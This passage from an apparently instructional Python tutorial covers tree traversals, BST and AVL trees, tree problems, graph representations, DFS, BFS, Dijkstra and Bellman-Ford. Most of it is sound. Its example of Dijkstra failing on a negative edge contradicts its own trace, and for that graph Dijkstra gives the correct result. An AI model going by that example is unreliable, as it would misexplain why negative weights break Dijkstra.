3. Visit 4 (left child of 2)
4. Visit 5 (right child of 2)
5. Visit 3 (right child of 1)

def inorder_traversal_recursive(root):
    """
    Inorder traversal: Left -> Root -> Right
    Time Complexity: $O(n)$
    Space Complexity: $O(h)$ due to recursion stack
    """
    result = []

    def traverse(node):
        if not node:
            return

        traverse(node.left)           # Traverse left subtree
        result.append(node.val)       # Visit root
        traverse(node.right)          # Traverse right subtree

    traverse(root)
    return result

def inorder_traversal_iterative(root):
    """
    Iterative inorder traversal using a stack.
    Time Complexity: $O(n)$
    Space Complexity: $O(h)$
    """
    result = []
    stack = []
    current = root

    while current or stack:
        # Go to the leftmost node
        while current:
            stack.append(current)
            current = current.left

        # Current is None, pop from stack
        current = stack.pop()
        result.append(current.val)

        # Visit the right subtree
        current = current.right

    return result

Tree:       1
           / \
          2   3
         / \
        4   5

Inorder: [4, 2, 5, 1, 3]
Step-by-step:
1. Visit 4 (leftmost node)
2. Visit 2 (parent of 4)
3. Visit 5 (right child of 2)
4. Visit 1 (root)
5. Visit 3 (right child of 1)

For BST, this gives sorted order!

def postorder_traversal_recursive(root):
    """
    Postorder traversal: Left -> Right -> Root
    Time Complexity: $O(n)$
    Space Complexity: $O(h)$
    """
    result = []

    def traverse(node):
        if not node:
            return

        traverse(node.left)           # Traverse left subtree
        traverse(node.right)          # Traverse right subtree
        result.append(node.val)       # Visit root

    traverse(root)
    return result

def postorder_traversal_iterative(root):
    """
    Iterative postorder traversal using two stacks.
    Time Complexity: $O(n)$
    Space Complexity: $O(h)$
    """
    if not root:
        return []

    result = []
    stack1 = [root]
    stack2 = []

    # Push nodes to stack2 in reverse postorder
    while stack1:
        node = stack1.pop()
        stack2.append(node)

        # Push left first, then right (opposite of preorder)
        if node.left:
            stack1.append(node.left)
        if node.right:
            stack1.append(node.right)

    # Pop from stack2 to get postorder
    while stack2:
        result.append(stack2.pop().val)

    return result

Tree:       1
           / \
          2   3
         / \
        4   5

Postorder: [4, 5, 2, 3, 1]
Step-by-step:
1. Visit 4 (leftmost leaf)
2. Visit 5 (right sibling of 4)
3. Visit 2 (parent of 4 and 5)
4. Visit 3 (leaf node)
5. Visit 1 (root, visited last)

from collections import deque

def level_order_traversal(root):
    """
    Level order traversal using a queue (BFS).
    Time Complexity: $O(n)$
    Space Complexity: $O(w)$ where w is the maximum width of the tree
    """
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        node = queue.popleft()
        result.append(node.val)

        # Add children to queue
        if node.left:
            queue.append(node.left)
        if node.right:
            queue.append(node.right)

    return result

def level_order_by_level(root):
    """
    Returns nodes grouped by level.
    Time Complexity: $O(n)$
    Space Complexity: $O(w)$ where w is maximum width
    """
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        level_size = len(queue)
        current_level = []

        # Process all nodes at current level
        for _ in range(level_size):
            node = queue.popleft()
            current_level.append(node.val)

            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

        result.append(current_level)

    return result

Tree:       1
           / \
          2   3
         / \   \
        4   5   6

Level Order: [1, 2, 3, 4, 5, 6]
By Level: [[1], [2, 3], [4, 5, 6]]

Step-by-step:
Queue: [1]           -> Visit 1, add children -> Result: [1]
Queue: [2, 3]        -> Visit 2, add children -> Result: [1, 2]
Queue: [3, 4, 5]     -> Visit 3, add children -> Result: [1, 2, 3]
Queue: [4, 5, 6]     -> Visit 4             -> Result: [1, 2, 3, 4]
Queue: [5, 6]        -> Visit 5             -> Result: [1, 2, 3, 4, 5]
Queue: [6]           -> Visit 6             -> Result: [1, 2, 3, 4, 5, 6]

def zigzag_level_order(root):
    """
    Zigzag level order: alternate between left-to-right and right-to-left.
    Example: [[1], [3, 2], [4, 5, 6]]
    """
    if not root:
        return []

    result = []
    queue = deque([root])
    left_to_right = True

    while queue:
        level_size = len(queue)
        current_level = deque()

        for _ in range(level_size):
            node = queue.popleft()

            # Add to front or back based on direction
            if left_to_right:
                current_level.append(node.val)
            else:
                current_level.appendleft(node.val)

            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

        result.append(list(current_level))
        left_to_right = not left_to_right

    return result

def right_side_view(root):
    """
    Return the values of nodes visible from the right side.
    (Last node at each level)
    """
    if not root:
        return []

    result = []
    queue = deque([root])

    while queue:
        level_size = len(queue)

        for i in range(level_size):
            node = queue.popleft()

            # Add last node of each level
            if i == level_size - 1:
                result.append(node.val)

            if node.left:
                queue.append(node.left)
            if node.right:
                queue.append(node.right)

    return result

class BSTNode:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None

class BST:
    def __init__(self):
        self.root = None

    def insert(self, val):
        """
        Insert a value into the BST.
        Time Complexity: $O(h)$ where h is height
        Average: $O(\log n)$, Worst: $O(n)$ for skewed tree
        """
        def _insert(node, val):
            if not node:
                return BSTNode(val)

            if val < node.val:
                node.left = _insert(node.left, val)
            elif val > node.val:
                node.right = _insert(node.right, val)
            # If equal, don't insert (BST with unique values)

            return node

        self.root = _insert(self.root, val)

    def search(self, val):
        """
        Search for a value in the BST.
        Time Complexity: $O(h)$
        """
        def _search(node, val):
            if not node or node.val == val:
                return node

            if val < node.val:
                return _search(node.left, val)
            else:
                return _search(node.right, val)

        return _search(self.root, val)

    def delete(self, val):
        """
        Delete a value from the BST.
        Time Complexity: $O(h)$
        """
        def _min_value_node(node):
            """Find the minimum value node in a subtree."""
            current = node
            while current.left:
                current = current.left
            return current

        def _delete(node, val):
            if not node:
                return node

            # Find the node to delete
            if val < node.val:
                node.left = _delete(node.left, val)
            elif val > node.val:
                node.right = _delete(node.right, val)
            else:
                # Node found! Handle three cases:

                # Case 1: Node with only right child or no child
                if not node.left:
                    return node.right

                # Case 2: Node with only left child
                if not node.right:
                    return node.left

                # Case 3: Node with two children
                # Get the inorder successor (smallest in right subtree)
                successor = _min_value_node(node.right)
                node.val = successor.val
                node.right = _delete(node.right, successor.val)

            return node

        self.root = _delete(self.root, val)

    def find_min(self):
        """Find minimum value (leftmost node)."""
        if not self.root:
            return None
        current = self.root
        while current.left:
            current = current.left
        return current.val

    def find_max(self):
        """Find maximum value (rightmost node)."""
        if not self.root:
            return None
        current = self.root
        while current.right:
            current = current.right
        return current.val

    def is_valid_bst(self):
        """
        Validate if the tree is a valid BST.
        Time Complexity: $O(n)$
        """
        def _validate(node, min_val, max_val):
            if not node:
                return True

            if node.val <= min_val or node.val >= max_val:
                return False

            return (_validate(node.left, min_val, node.val) and
                    _validate(node.right, node.val, max_val))

        return _validate(self.root, float('-inf'), float('inf'))

# Example usage
bst = BST()
for val in [5, 3, 7, 2, 4, 6, 8]:
    bst.insert(val)

print(bst.search(4))  # Found
print(bst.find_min())  # 2
print(bst.find_max())  # 8

         5
        / \
       3   7
      / \ / \
     2  4 6  8

Inorder: [2, 3, 4, 5, 6, 7, 8] (sorted!)
Search for 4: 5 -> 3 -> 4 (3 steps)

class AVLNode:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None
        self.height = 1  # Height of node

class AVLTree:
    def get_height(self, node):
        """Get height of a node."""
        if not node:
            return 0
        return node.height

    def get_balance(self, node):
        """Get balance factor of a node."""
        if not node:
            return 0
        return self.get_height(node.left) - self.get_height(node.right)

    def update_height(self, node):
        """Update height of a node."""
        if not node:
            return 0
        node.height = 1 + max(self.get_height(node.left),
                               self.get_height(node.right))

    def rotate_right(self, y):
        """
        Right rotation:
             y                x
            / \              / \
           x   C    -->     A   y
          / \                  / \
         A   B                B   C
        """
        x = y.left
        B = x.right

        # Perform rotation
        x.right = y
        y.left = B

        # Update heights
        self.update_height(y)
        self.update_height(x)

        return x

    def rotate_left(self, x):
        """
        Left rotation:
           x                  y
          / \                / \
         A   y      -->     x   C
            / \            / \
           B   C          A   B
        """
        y = x.right
        B = y.left

        # Perform rotation
        y.left = x
        x.right = B

        # Update heights
        self.update_height(x)
        self.update_height(y)

        return y

    def insert(self, root, val):
        """
        Insert a value and rebalance the tree.
        Time Complexity: $O(\log n)$ - guaranteed!
        """
        # 1. Perform standard BST insert
        if not root:
            return AVLNode(val)

        if val < root.val:
            root.left = self.insert(root.left, val)
        elif val > root.val:
            root.right = self.insert(root.right, val)
        else:
            return root  # Duplicate values not allowed

        # 2. Update height of current node
        self.update_height(root)

        # 3. Get balance factor
        balance = self.get_balance(root)

        # 4. If unbalanced, there are 4 cases:

        # Left-Left Case
        if balance > 1 and val < root.left.val:
            return self.rotate_right(root)

        # Right-Right Case
        if balance < -1 and val > root.right.val:
            return self.rotate_left(root)

        # Left-Right Case
        if balance > 1 and val > root.left.val:
            root.left = self.rotate_left(root.left)
            return self.rotate_right(root)

        # Right-Left Case
        if balance < -1 and val < root.right.val:
            root.right = self.rotate_right(root.right)
            return self.rotate_left(root)

        return root

Left-Left (LL) Imbalance:
    Insert 1, 2, 3 into BST creates:
         3              2
        /              / \
       2        -->   1   3
      /
     1
    (Right rotation at 3)

Right-Right (RR) Imbalance:
    Insert 3, 2, 1:
     1                2
      \              / \
       2      -->   1   3
        \
         3
    (Left rotation at 1)

Left-Right (LR) Imbalance:
       3              3              2
      /              /              / \
     1        -->   2        -->   1   3
      \            /
       2          1
    (Left at 1, then Right at 3)

Right-Left (RL) Imbalance:
     1              1              2
      \              \            / \
       3      -->     2    -->   1   3
      /                \
     2                  3
    (Right at 3, then Left at 1)

def max_depth(root):
    """
    Find the maximum depth of a binary tree.
    Time: $O(n)$, Space: $O(h)$
    """
    if not root:
        return 0
    return 1 + max(max_depth(root.left), max_depth(root.right))

def min_depth(root):
    """
    Find the minimum depth (root to nearest leaf).
    Time: $O(n)$, Space: $O(h)$
    """
    if not root:
        return 0
    if not root.left and not root.right:
        return 1
    if not root.left:
        return 1 + min_depth(root.right)
    if not root.right:
        return 1 + min_depth(root.left)
    return 1 + min(min_depth(root.left), min_depth(root.right))

def diameter_of_binary_tree(root):
    """
    The diameter is the length of the longest path between any two nodes.
    The path may or may not pass through the root.
    Time: $O(n)$, Space: $O(h)$
    """
    diameter = [0]

    def height(node):
        if not node:
            return 0

        left_height = height(node.left)
        right_height = height(node.right)

        # Update diameter (path through this node)
        diameter[0] = max(diameter[0], left_height + right_height)

        return 1 + max(left_height, right_height)

    height(root)
    return diameter[0]

def has_path_sum(root, target_sum):
    """
    Check if tree has root-to-leaf path that sums to target.
    Time: $O(n)$, Space: $O(h)$
    """
    if not root:
        return False

    if not root.left and not root.right:
        return root.val == target_sum

    remaining = target_sum - root.val
    return (has_path_sum(root.left, remaining) or
            has_path_sum(root.right, remaining))

def path_sum_all(root, target_sum):
    """
    Find all root-to-leaf paths that sum to target.
    Time: $O(n)$, Space: $O(h)$
    """
    result = []

    def dfs(node, current_sum, path):
        if not node:
            return

        path.append(node.val)
        current_sum += node.val

        # Check if leaf node with target sum
        if not node.left and not node.right and current_sum == target_sum:
            result.append(path[:])

        dfs(node.left, current_sum, path)
        dfs(node.right, current_sum, path)

        path.pop()  # Backtrack

    dfs(root, 0, [])
    return result

def lowest_common_ancestor(root, p, q):
    """
    Find the lowest common ancestor of two nodes in a binary tree.
    Time: $O(n)$, Space: $O(h)$
    """
    if not root or root == p or root == q:
        return root

    left = lowest_common_ancestor(root.left, p, q)
    right = lowest_common_ancestor(root.right, p, q)

    # If both left and right are non-null, root is the LCA
    if left and right:
        return root

    # Otherwise, return the non-null child
    return left if left else right

def lca_bst(root, p, q):
    """
    LCA for Binary Search Tree (more efficient).
    Time: $O(h)$, Space: $O(1)$ iterative
    """
    while root:
        # Both nodes are in left subtree
        if p.val < root.val and q.val < root.val:
            root = root.left
        # Both nodes are in right subtree
        elif p.val > root.val and q.val > root.val:
            root = root.right
        # We've found the split point
        else:
            return root

def serialize(root):
    """
    Serialize a binary tree to a string.
    Time: $O(n)$, Space: $O(n)$
    """
    def dfs(node):
        if not node:
            return "None,"
        return str(node.val) + "," + dfs(node.left) + dfs(node.right)

    return dfs(root)

def deserialize(data):
    """
    Deserialize a string to a binary tree.
    Time: $O(n)$, Space: $O(n)$
    """
    def dfs(values):
        val = next(values)
        if val == "None":
            return None
        node = TreeNode(int(val))
        node.left = dfs(values)
        node.right = dfs(values)
        return node

    return dfs(iter(data.split(",")))

def build_tree_from_inorder_preorder(preorder, inorder):
    """
    Construct binary tree from preorder and inorder traversals.
    Time: $O(n)$, Space: $O(n)$
    """
    if not preorder or not inorder:
        return None

    # First element in preorder is the root
    root_val = preorder[0]
    root = TreeNode(root_val)

    # Find root in inorder to split left/right subtrees
    mid = inorder.index(root_val)

    # Recursively build left and right subtrees
    root.left = build_tree_from_inorder_preorder(
        preorder[1:mid+1],
        inorder[:mid]
    )
    root.right = build_tree_from_inorder_preorder(
        preorder[mid+1:],
        inorder[mid+1:]
    )

    return root

def is_symmetric(root):
    """
    Check if a tree is symmetric (mirror of itself).
    Time: $O(n)$, Space: $O(h)$
    """
    def is_mirror(left, right):
        if not left and not right:
            return True
        if not left or not right:
            return False
        return (left.val == right.val and
                is_mirror(left.left, right.right) and
                is_mirror(left.right, right.left))

    return is_mirror(root, root)

def flatten_to_linked_list(root):
    """
    Flatten binary tree to a linked list (preorder).
    Time: $O(n)$, Space: $O(1)$
    """
    if not root:
        return

    current = root
    while current:
        if current.left:
            # Find the rightmost node of left subtree
            rightmost = current.left
            while rightmost.right:
                rightmost = rightmost.right

            # Connect it to current's right
            rightmost.right = current.right
            current.right = current.left
            current.left = None

        current = current.right

def morris_inorder_traversal(root):
    """
    Inorder traversal with $O(1)$ space.
    Temporarily modifies tree structure but restores it.
    Time: $O(n)$, Space: $O(1)$
    """
    result = []
    current = root

    while current:
        if not current.left:
            # No left subtree, visit current and go right
            result.append(current.val)
            current = current.right
        else:
            # Find inorder predecessor
            predecessor = current.left
            while predecessor.right and predecessor.right != current:
                predecessor = predecessor.right

            if not predecessor.right:
                # Create temporary link
                predecessor.right = current
                current = current.left
            else:
                # Remove temporary link
                predecessor.right = None
                result.append(current.val)
                current = current.right

    return result

Directed (Digraph):         Undirected:
    A → B → C                  A — B — C
    ↓   ↓                      |   |
    D → E                      D — E

Weighted:                   Unweighted:
    A -5→ B                    A → B
    ↓2    ↓3                   ↓   ↓
    C -1→ D                    C → D

class GraphAdjacencyMatrix:
    def __init__(self, num_vertices, directed=False):
        """
        Initialize graph with adjacency matrix.
        Space: $O(V^2)$
        """
        self.num_vertices = num_vertices
        self.directed = directed
        # Use float('inf') for no edge in weighted graphs, 0 for unweighted
        self.matrix = [[0] * num_vertices for _ in range(num_vertices)]

    def add_edge(self, u, v, weight=1):
        """
        Add edge from u to v.
        Time: $O(1)$
        """
        self.matrix[u][v] = weight
        if not self.directed:
            self.matrix[v][u] = weight

    def remove_edge(self, u, v):
        """
        Remove edge from u to v.
        Time: $O(1)$
        """
        self.matrix[u][v] = 0
        if not self.directed:
            self.matrix[v][u] = 0

    def has_edge(self, u, v):
        """
        Check if edge exists.
        Time: $O(1)$
        """
        return self.matrix[u][v] != 0

    def get_neighbors(self, v):
        """
        Get all neighbors of vertex v.
        Time: $O(V)$
        """
        neighbors = []
        for i in range(self.num_vertices):
            if self.matrix[v][i] != 0:
                neighbors.append((i, self.matrix[v][i]))
        return neighbors

    def display(self):
        """Display the adjacency matrix."""
        for row in self.matrix:
            print(row)

# Example
graph = GraphAdjacencyMatrix(4, directed=False)
graph.add_edge(0, 1, 1)
graph.add_edge(0, 2, 1)
graph.add_edge(1, 2, 1)
graph.add_edge(2, 3, 1)

# Matrix representation:
# [[0, 1, 1, 0],
#  [1, 0, 1, 0],
#  [1, 1, 0, 1],
#  [0, 0, 1, 0]]

from collections import defaultdict

class GraphAdjacencyList:
    def __init__(self, directed=False):
        """
        Initialize graph with adjacency list.
        Space: $O(V + E)$
        """
        self.graph = defaultdict(list)
        self.directed = directed

    def add_vertex(self, v):
        """
        Add a vertex to the graph.
        Time: $O(1)$
        """
        if v not in self.graph:
            self.graph[v] = []

    def add_edge(self, u, v, weight=1):
        """
        Add edge from u to v with optional weight.
        Time: $O(1)$
        """
        self.graph[u].append((v, weight))
        if not self.directed:
            self.graph[v].append((u, weight))

    def remove_edge(self, u, v):
        """
        Remove edge from u to v.
        Time: $O(V)$ - need to find and remove
        """
        self.graph[u] = [(node, weight) for node, weight in self.graph[u] if node != v]
        if not self.directed:
            self.graph[v] = [(node, weight) for node, weight in self.graph[v] if node != u]

    def has_edge(self, u, v):
        """
        Check if edge exists from u to v.
        Time: $O(degree(u))$
        """
        return any(node == v for node, _ in self.graph[u])

    def get_neighbors(self, v):
        """
        Get all neighbors of vertex v.
        Time: $O(1)$ to access, $O(degree(v))$ to iterate
        """
        return self.graph[v]

    def get_all_vertices(self):
        """Get all vertices in the graph."""
        return list(self.graph.keys())

    def display(self):
        """Display the adjacency list."""
        for vertex in self.graph:
            print(f"{vertex}: {self.graph[vertex]}")

# Example
graph = GraphAdjacencyList(directed=False)
graph.add_edge('A', 'B', 5)
graph.add_edge('A', 'C', 3)
graph.add_edge('B', 'C', 2)
graph.add_edge('C', 'D', 1)

# Adjacency list representation:
# A: [(B, 5), (C, 3)]
# B: [(A, 5), (C, 2)]
# C: [(A, 3), (B, 2), (D, 1)]
# D: [(C, 1)]

class GraphEdgeList:
    def __init__(self, directed=False):
        """
        Initialize graph with edge list.
        Space: $O(E)$
        """
        self.edges = []  # List of (u, v, weight) tuples
        self.directed = directed

    def add_edge(self, u, v, weight=1):
        """
        Add edge to the list.
        Time: $O(1)$
        """
        self.edges.append((u, v, weight))
        if not self.directed:
            self.edges.append((v, u, weight))

    def get_edges(self):
        """Return all edges."""
        return self.edges

    def sort_by_weight(self):
        """
        Sort edges by weight (useful for Kruskal's algorithm).
        Time: $O(E \log E)$
        """
        self.edges.sort(key=lambda x: x[2])

    def display(self):
        """Display all edges."""
        for u, v, weight in self.edges:
            print(f"{u} -> {v} (weight: {weight})")

# Example
graph = GraphEdgeList(directed=True)
graph.add_edge('A', 'B', 5)
graph.add_edge('A', 'C', 3)
graph.add_edge('B', 'D', 2)

# Edge list:
# [('A', 'B', 5), ('A', 'C', 3), ('B', 'D', 2)]

def dfs_recursive(graph, start, visited=None):
    """
    DFS recursive traversal.
    Time: $O(V + E)$, Space: $O(V)$ for visited set + $O(h)$ recursion stack

    Args:
        graph: Dictionary where graph[v] = list of neighbors
        start: Starting vertex
        visited: Set of visited vertices

    Returns:
        List of vertices in DFS order
    """
    if visited is None:
        visited = set()

    visited.add(start)
    result = [start]

    for neighbor in graph[start]:
        # Extract vertex if stored as (vertex, weight) tuple
        next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
        if next_vertex not in visited:
            result.extend(dfs_recursive(graph, next_vertex, visited))

    return result

# Example
graph = {
    'A': ['B', 'C'],
    'B': ['D', 'E'],
    'C': ['F'],
    'D': [],
    'E': ['F'],
    'F': []
}

print(dfs_recursive(graph, 'A'))  # ['A', 'B', 'D', 'E', 'F', 'C']

Graph:       A
           /   \
          B     C
         / \     \
        D   E     F
             \   /
              [F already visited]

DFS Order: A → B → D → E → F → C
Stack trace:
  dfs(A) → dfs(B) → dfs(D) → [return] → dfs(E) → dfs(F) → [return] → [return] → dfs(C) → [F visited] → [return]

def dfs_iterative(graph, start):
    """
    DFS iterative using explicit stack.
    Time: $O(V + E)$, Space: $O(V)$

    More control than recursion, avoids stack overflow for deep graphs.
    """
    visited = set()
    stack = [start]
    result = []

    while stack:
        vertex = stack.pop()

        if vertex not in visited:
            visited.add(vertex)
            result.append(vertex)

            # Add neighbors to stack (in reverse order to match recursive DFS)
            neighbors = graph[vertex]
            for neighbor in reversed(neighbors):
                next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
                if next_vertex not in visited:
                    stack.append(next_vertex)

    return result

def dfs_find_path(graph, start, end, path=None):
    """
    Find a path from start to end using DFS.
    Time: $O(V + E)$, Space: $O(V)$
    """
    if path is None:
        path = []

    path = path + [start]

    if start == end:
        return path

    for neighbor in graph[start]:
        next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
        if next_vertex not in path:  # Avoid cycles
            new_path = dfs_find_path(graph, next_vertex, end, path)
            if new_path:
                return new_path

    return None  # No path found

def dfs_all_paths(graph, start, end, path=None):
    """
    Find all paths from start to end using DFS.
    Time: $O(V!)$ worst case (exponential)
    """
    if path is None:
        path = []

    path = path + [start]

    if start == end:
        return [path]

    paths = []
    for neighbor in graph[start]:
        next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
        if next_vertex not in path:  # Avoid cycles
            new_paths = dfs_all_paths(graph, next_vertex, end, path)
            paths.extend(new_paths)

    return paths

# Example
graph = {
    'A': ['B', 'C'],
    'B': ['D'],
    'C': ['D'],
    'D': ['E'],
    'E': []
}

print(dfs_find_path(graph, 'A', 'E'))     # ['A', 'B', 'D', 'E']
print(dfs_all_paths(graph, 'A', 'E'))    # [['A', 'B', 'D', 'E'], ['A', 'C', 'D', 'E']]

from collections import deque

def bfs(graph, start):
    """
    BFS traversal.
    Time: $O(V + E)$, Space: $O(V)$

    Args:
        graph: Dictionary where graph[v] = list of neighbors
        start: Starting vertex

    Returns:
        List of vertices in BFS order
    """
    visited = set([start])
    queue = deque([start])
    result = []

    while queue:
        vertex = queue.popleft()
        result.append(vertex)

        for neighbor in graph[vertex]:
            next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
            if next_vertex not in visited:
                visited.add(next_vertex)
                queue.append(next_vertex)

    return result

# Example
graph = {
    'A': ['B', 'C'],
    'B': ['D', 'E'],
    'C': ['F'],
    'D': [],
    'E': ['F'],
    'F': []
}

print(bfs(graph, 'A'))  # ['A', 'B', 'C', 'D', 'E', 'F']

Graph:       A
           /   \
          B     C
         / \     \
        D   E     F

BFS by Level:
Level 0: [A]
Level 1: [B, C]
Level 2: [D, E, F]

BFS Order: A → B → C → D → E → F

Queue trace:
[A] → process A, add B,C → [B,C]
[B,C] → process B, add D,E → [C,D,E]
[C,D,E] → process C, add F → [D,E,F]
[D,E,F] → process D → [E,F]
[E,F] → process E (F already visited) → [F]
[F] → process F → []

def bfs_by_level(graph, start):
    """
    BFS that returns nodes grouped by level (distance from start).
    Time: $O(V + E)$, Space: $O(V)$

    Useful for:
    - Finding all nodes at distance k
    - Level-order processing
    - Visualizing graph structure
    """
    visited = set([start])
    queue = deque([start])
    levels = []

    while queue:
        level_size = len(queue)
        current_level = []

        # Process all nodes at current level
        for _ in range(level_size):
            vertex = queue.popleft()
            current_level.append(vertex)

            for neighbor in graph[vertex]:
                next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
                if next_vertex not in visited:
                    visited.add(next_vertex)
                    queue.append(next_vertex)

        levels.append(current_level)

    return levels

# Example
print(bfs_by_level(graph, 'A'))
# [['A'], ['B', 'C'], ['D', 'E', 'F']]

def bfs_shortest_path(graph, start, end):
    """
    Find shortest path in unweighted graph using BFS.
    Time: $O(V + E)$, Space: $O(V)$

    BFS guarantees shortest path in unweighted graphs!
    """
    if start == end:
        return [start]

    visited = {start}
    queue = deque([(start, [start])])  # (vertex, path)

    while queue:
        vertex, path = queue.popleft()

        for neighbor in graph[vertex]:
            next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor

            if next_vertex == end:
                return path + [next_vertex]

            if next_vertex not in visited:
                visited.add(next_vertex)
                queue.append((next_vertex, path + [next_vertex]))

    return None  # No path found

def bfs_shortest_distance(graph, start):
    """
    Find shortest distance from start to all other vertices.
    Time: $O(V + E)$, Space: $O(V)$

    Returns dictionary: {vertex: distance}
    """
    distances = {start: 0}
    visited = {start}
    queue = deque([start])

    while queue:
        vertex = queue.popleft()
        current_dist = distances[vertex]

        for neighbor in graph[vertex]:
            next_vertex = neighbor[0] if isinstance(neighbor, tuple) else neighbor
            if next_vertex not in visited:
                visited.add(next_vertex)
                distances[next_vertex] = current_dist + 1
                queue.append(next_vertex)

    return distances

# Example
print(bfs_shortest_path(graph, 'A', 'F'))  # ['A', 'C', 'F']
print(bfs_shortest_distance(graph, 'A'))   # {'A': 0, 'B': 1, 'C': 1, 'D': 2, 'E': 2, 'F': 2}

import heapq

def dijkstra(graph, start):
    """
    Dijkstra's algorithm for shortest paths from start to all vertices.

    Time: $O((V + E) \log V)$ with binary heap
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [(v, weight), ...] (adjacency list with weights)
        start: Starting vertex

    Returns:
        Dictionary {vertex: shortest_distance}

    Requirements:
        - All edge weights must be non-negative
        - Graph can be directed or undirected
    """
    # Initialize distances to infinity
    distances = {vertex: float('inf') for vertex in graph}
    distances[start] = 0

    # Priority queue: (distance, vertex)
    pq = [(0, start)]
    visited = set()

    while pq:
        current_dist, current = heapq.heappop(pq)

        # Skip if already visited (outdated entry in pq)
        if current in visited:
            continue

        visited.add(current)

        # Relax edges
        for neighbor, weight in graph[current]:
            distance = current_dist + weight

            # If found shorter path, update
            if distance < distances[neighbor]:
                distances[neighbor] = distance
                heapq.heappush(pq, (distance, neighbor))

    return distances

def dijkstra_with_path(graph, start, end):
    """
    Dijkstra's algorithm with path reconstruction.

    Returns: (shortest_distance, path)
    """
    distances = {vertex: float('inf') for vertex in graph}
    distances[start] = 0
    previous = {vertex: None for vertex in graph}

    pq = [(0, start)]
    visited = set()

    while pq:
        current_dist, current = heapq.heappop(pq)

        # Early termination if reached destination
        if current == end:
            break

        if current in visited:
            continue

        visited.add(current)

        for neighbor, weight in graph[current]:
            distance = current_dist + weight

            if distance < distances[neighbor]:
                distances[neighbor] = distance
                previous[neighbor] = current
                heapq.heappush(pq, (distance, neighbor))

    # Reconstruct path
    path = []
    current = end
    while current is not None:
        path.append(current)
        current = previous[current]
    path.reverse()

    # Return None if no path exists
    if path[0] != start:
        return float('inf'), None

    return distances[end], path

# Example
graph = {
    'A': [('B', 4), ('C', 2)],
    'B': [('D', 5)],
    'C': [('B', 1), ('D', 8)],
    'D': [('E', 3)],
    'E': []
}

print(dijkstra(graph, 'A'))
# {'A': 0, 'B': 3, 'C': 2, 'D': 8, 'E': 11}

print(dijkstra_with_path(graph, 'A', 'E'))
# (11, ['A', 'C', 'B', 'D', 'E'])

Graph:
    A --4--> B --5--> D --3--> E
    |       ^         ^
    2       1         8
    |       |         |
    └-----> C --------┘

Step-by-step execution:
Initial: distances = {A:0, B:∞, C:∞, D:∞, E:∞}, pq = [(0,A)]

1. Visit A (dist=0):
   - Update B: 0+4=4
   - Update C: 0+2=2
   distances = {A:0, B:4, C:2, D:∞, E:∞}
   pq = [(2,C), (4,B)]

2. Visit C (dist=2):
   - Update B: 2+1=3 (better than 4!)
   - Update D: 2+8=10
   distances = {A:0, B:3, C:2, D:10, E:∞}
   pq = [(3,B), (4,B), (10,D)]

3. Visit B (dist=3):
   - Update D: 3+5=8 (better than 10!)
   distances = {A:0, B:3, C:2, D:8, E:∞}
   pq = [(4,B), (8,D), (10,D)]

4. Skip B (dist=4): already visited

5. Visit D (dist=8):
   - Update E: 8+3=11
   distances = {A:0, B:3, C:2, D:8, E:11}
   pq = [(10,D), (11,E)]

6. Skip D (dist=10): already visited

7. Visit E (dist=11):
   distances = {A:0, B:3, C:2, D:8, E:11}

Final shortest paths from A:
A→A: 0
A→B: 3 (path: A→C→B)
A→C: 2 (path: A→C)
A→D: 8 (path: A→C→B→D)
A→E: 11 (path: A→C→B→D→E)

    A --1--> B
    |       ↓
    5     -10
    |       ↓
    └-----> C

Dijkstra would visit in order: A, B, C
- Visit A: distances = {A:0, B:1, C:5}
- Visit B (already finalized B=1): updates C to -9
- Visit C: Too late! B already visited with wrong distance

Correct: A→B→C = 1+(-10) = -9 is shorter than A→C = 5
But Dijkstra found A→B = 1 and marked it final before seeing the negative edge!

def bellman_ford(graph, start):
    """
    Bellman-Ford algorithm for shortest paths.

    Time: $O(VE)$
    Space: $O(V)$

    Args:
        graph: Dict where graph[u] = [(v, weight), ...]
        start: Starting vertex

    Returns:
        Dictionary {vertex: shortest_distance}

    Raises:
        ValueError: If negative cycle is detected

    Advantages over Dijkstra:
        - Works with negative edge weights
        - Detects negative cycles

    Disadvantages:
        - Slower: $O(VE)$ vs Dijkstra's $O((V+E) \log V)$
    """
    # Get all vertices
    vertices = set(graph.keys())
    for u in graph:
        for v, _ in graph[u]:
            vertices.add(v)

    # Initialize distances
    distances = {v: float('inf') for v in vertices}
    distances[start] = 0

    # Get all edges as list of (u, v, weight)
    edges = []
    for u in graph:
        for v, weight in graph[u]:
            edges.append((u, v, weight))

    # Relax all edges V-1 times
    for _ in range(len(vertices) - 1):
        updated = False
        for u, v, weight in edges:
            if distances[u] != float('inf') and distances[u] + weight < distances[v]:
                distances[v] = distances[u] + weight
                updated = True

        # Early termination if no updates
        if not updated:
            break

    # Check for negative cycles
    for u, v, weight in edges:
        if distances[u] != float('inf') and distances[u] + weight < distances[v]:
            raise ValueError("Graph contains negative cycle")

    return distances

# Example with negative weights
graph = {
    'A': [('B', 4), ('C', 2)],
    'B': [('D', 2)],
    'C': [('B', -3), ('D', 5)],
    'D': []
}

print(bellman_ford(graph, 'A'))
# {'A': 0, 'B': -1, 'C': 2, 'D': 1}
# Path A→C→B has weight 2+(-3)=-1, shorter than A→B=4!

# Example with negative cycle
graph_with_cycle = {
    'A': [('B', 1)],
    'B': [('C', -3)],
    'C': [('A', 1)]
}
# Cycle A→B→C→A has total weight 1+(-3)+1=-1
# Can loop infinitely to decrease distance!

try:
    bellman_ford(graph_with_cycle, 'A')
except ValueError as e:
    print(e)  # "Graph contains negative cycle"

Why V-1 iterations?
- Maximum shortest path has at most V-1 edges (no cycles)
- Each iteration relaxes at least one edge on the shortest path
- After V-1 iterations, all shortest paths are found

Example:
    A --1--> B --1--> C --1--> D

Iteration 1: A=0, B=1, C=∞, D=∞
Iteration 2: A=0, B=1, C=2, D=∞
Iteration 3: A=0, B=1, C=2, D=3
